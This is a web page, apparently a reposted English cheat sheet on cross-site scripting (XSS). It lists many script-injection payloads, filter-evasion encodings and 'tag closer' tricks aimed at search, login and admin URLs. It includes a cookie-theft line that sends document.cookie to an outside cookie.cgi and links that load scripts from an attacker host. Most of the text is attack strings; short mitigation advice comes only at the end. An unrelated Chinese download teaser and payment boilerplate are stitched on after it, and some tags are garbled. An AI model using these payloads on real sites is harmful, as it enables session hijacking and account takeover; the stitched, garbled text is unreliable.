XSS - Web App Security

本文深入探讨了跨站脚本(XSS)攻击的各种形式和技术细节,包括如何利用网站输入过滤不严实现攻击、常见的XSS漏洞查找方法以及利用技巧。
Cross Site Scripting exsistance is because of the lack of filtering engines to user inputs at websites on forms.


Hackers Evil Link

[example 1] <a href="[http://< XSS -host]/xssfile?evil request">Free Laptop!</a>
[example 2] <iframe src="[http://<XSS-host]/xssfile?evil request">Free Laptop!</iframe>
[example 3] <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://www.Site.com/xss.js"></SCRIPT>

XSS Cookie theft Javascript


http://host/a. php ?variable="><script>document.location='http://www.mysite.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>

Moding Cookies


[example 1] <script>javascript:void(document.cookie="username=Admin")</script>


How to Search for Vul Hosts


[example 1] [host]/<script>alert("XSS")</script>
[example 2] [host]/<script>alert('XSS')</script>/
[example 3] [host]/<script>alert('XSS')</script>.
[example 4] [host]/<script>alert('XSS')</script>
[example 5] [host]/\<script\>alert(\'XSS\')\<\/script\>
[example 6] [host]/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl
[example 7] [host]/\<sCRIPT>alert("d")</sCRIPT>\
[example 8] [host]/<\73CRIP\T>alert("dsf")<\/\73CRIP\T>
[example 9] [host]/<\73CRIP\T>alert('dsf')<\/\73CRIP\T>
[example 10] [host]/</sCRIP/T>alert("dsf")<///sCRIP/T>
[example 11] [host]/</sCRIP/T>alert('dsf')<///sCRIP/T>

[example 1] <script>javascript:alert(documentt.cookie)</script>
[example 2] <script>javascript:alert("XSS")</script>
[example 3] "<script>alert()</script>"This Site is not Secure!


- Also use "?" post request after the host.

[example 1] [host]/?<script>alert('XSS')</script>

WebServers XSS


Many webservers have default pages to folders that will look for a file.

[example 1] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".bas
[example 2] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".asp
[example 3] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".jsp
[example 4] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".htm
[example 5] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".html
[example 6] [host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".[ext]


A common place for an XSS hole is inside a server default example files, such as:

[example 1] [host]/cgi/example?test=<script>alert('xss')</script>


Most common places to find XSS in are the search files of servers.

[example 1] [host]/search.php?searchstring=<script>alert('XSS')</script>
[example 2] [host]/search.php?searchstring="><script>alert('XSS')</script>
[example 3] [host]/search.php?searchstring='><script>alert('XSS')</script>

Social Engineering XSS


Using the characters instead may fool the filters and allow XSS to work.


[example 1] [host]/%3cscript%3ealert('XSS')%3c/script%3e
[example 2] [host]/%3c%53cript%3ealert('XSS')%3c/%53cript%3e
[example 3] [host]/%3c%53cript%3ealert('XSS')%3c%2f%53cript%3e
[example 4] [host]/%3cscript%3ealert('XSS')%3c/script%3e
[example 5] [host]/%3cscript%3ealert('XSS')%3c%2fscript%3e
[example 6] [host]/%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e
[example 7] [host]/%3cscript%3ealert(%27XSS%27)%3c/script%3e
[example 8] [host]/%3cscript%3ealert("XSS")%3c/script%3e
[example 9] [host]/%3c%53cript%3ealert("XSS")%3c/%53cript%3e
[example 10] [host]/%3c%53cript%3ealert("XSS")%3c%2f%53cript%3e
[example 11] [host]/%3cscript%3ealert("XSS")%3c/script%3e
[example 12] [host]/%3cscript%3ealert("XSS")%3c%2fscript%3e
[example 13] [host]/%3cscript%3ealert(%34XSS%34)%3c%2fscript%3e
[example 14] [host]/%3cscript%3ealert(%34XSS%34)%3c/script%3e


- Also use "?" post request after the host.

[example 1] [host]/?%3cscript%3ealert('XSS')%3c/script%3e

100% encoded

[example 1] [host]/?%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d
%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[example 2] [host]/?%27%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e
%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[example 3] [host]/%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%
6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Another form of encoding is: <script>alert(document.cookie)</script>

< is encoded as: <
> is encoded as: >


[example 1] %3Cscript%3Ealert(%22XSS%22)%3C/script%3E
[example 2] <script>alert("XSS")</script>
[example 3] <script>alert("XSS")</script>
[example 4] <script>alert(%34XSS%34)</script>
[example 5] <script>alert('XSS')</script>

[example 1]  www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert (document.cookie)%3C/script%3E


Any of the XSS requests presented above could be used on any asp, cfm,
jsp, cgi, php or any other active html file.

[example 1] [host]/forum/post.asp?<script>alert('XSS')</script>
[example 2] [host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e
[example 3] [host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e
[example 4] [host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e
[example 5] [host]/forum/post.asp?<script>alert("XSS")</script>


Finding errors such as inputting a string instead of a number or "\" or "/" instead of a string,
or a very long string & a very large number. All this malformed parameters can help us find
the place to inject XSS script.


Tag Closer

The "Tag Closer" method is used by inputing non-alphabetic and non-numeric chars
inside form's input text boxes. This chars could be: \,/,~,!,#,$,%,^,&,-,[,],null(char 255),.(dot)
But the chars that mostly does the job is either " or '. What we do is just insert "> or '> inside
a text box instead of our name/email/username/password and etc...


[example 1] [host]/admin/login.asp?username="><script>alert('XSS')</script>&password=1234
[example 2] [host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script>
[example 3] [host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">
< /textarea>--><script>alert('XSS')</script>
[example 4] [host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>

[example 1] [host]/admin/login.asp?username='><script>alert('XSS')</script>&password=1234
[example 2] [host]/admin/login.asp?username=admin&password='><script>alert('XSS')</script>
[example 3] [host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~'></textarea>-->
< script>alert('XSS')</script>
[example 4] [host]/search.php?action=soundex&firstname='><script>alert(document.cookie)</script>

This mainly works on the servers root:

[example 1] [host]/?"><script>alert('XSS')</script>
[example 2] [host]/?'><script>alert('XSS')</script>
[example 3] [host]/?--><script>alert('XSS')</script>

About <plaintext>

Another trick for exploiting an XSS was found by putting a <plaintext> tag
after the xss code. Sometimes that makes it easie to exploit.

[example 1] [host]/?"><script>alert('XSS')</script><plaintext>
[example 2] [host]/?'><script>alert('XSS')</script><plaintext>
[example 3] [host]/admin/login.asp?username="><script>alert('XSS')</script><plaintext>&password=1234
[example 4] [host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script><plaintext>
[example 5] [host]/forum/post.asp?<script>alert('XSS')</script><plaintext>
[example 6] [host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e<plaintext>
[example 7] [host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e<plaintext>
[example 8] [host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e<plaintext>
[example 9] [host]/forum/post.asp?<script>alert("XSS")</script><plaintext>
[example 10] [host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>
& lt;plaintext>

[example 1]  www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert (document.cookie)%3C/script%3E
%3Cplaintext%3E

Simple Codes just incase some of them do-not seem to work:


< /title><script>alert("XSS");</script><title><plaintext>


< script>alert(document.cookie)</script><plaintext>

Security Conclusion


[Replace]

< with <
> with >
& with &
" with "e;


[Possible XSS]

<applet> <frameset> <layer> <body>
< html> <ilayer> <embed> <iframe>
< meta> <frame> <img> <object>
< script> <style>

The best protection against it is filtering and removing from recieved input any non-alphabetic and non-numeric chars
and testing to make sure that the filtering system works! "To make XSS and SQL Injections Leet you must apply Social Engineering"
下载前必看:https://pan.quark.cn/s/a4b39357ea24 在本资料中,将阐述如何运用JavaScript达成单击下拉列表框选定选项后即时转向对应页面的功能。 此种技术适用于网页布局中用户需迅速选取并转向不同页面的情形,诸如网站导航栏或内容目录等场景。 达成此功能,能够显著改善用户交互体验,精简用户的操作流程。 我们须熟悉HTML里的`<select>`组件,该组件用于构建一个选择列表。 用户可从中选定一项,并可引发一个事件来响应用户的这一选择动作。 在本次实例中,我们借助`onchange`事件监听器来实现当用户在下拉列表框中选定某个选项时,页面能自动转向该选项关联的链接地址。 JavaScript里的`window.location`属性旨在获取或设定浏览器当前载入页面的网址,通过变更该属性的值,能够实现页面的转向。 在本次实例的实现方案里,运用了`eval()`函数来动态执行字符串表达式,这在现代的JavaScript开发实践中通常不被推荐使用,因为它可能诱发安全问题及难以排错的错误。 然而,为了本例的简化展示,我们暂时搁置这一问题,因为在更复杂的实际应用中,可选用其他方法,例如ES6中的模板字符串或其他函数来安全地构建和执行字符串。 具体到本例的代码实现,`MM_jumpMenu`函数负责处理转向逻辑。 它接收三个参数:`targ`、`selObj`和`restore`。 其中`targ`代表要转向的页面,`selObj`是触发事件的下拉列表框对象,`restore`是标志位,用以指示是否需在转向后将下拉列表框的选项恢复至默认的提示项。 函数的实现通过获取`selObj`中当前选定的`selectedIndex`对应的`value`属性值,并将其赋予`...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值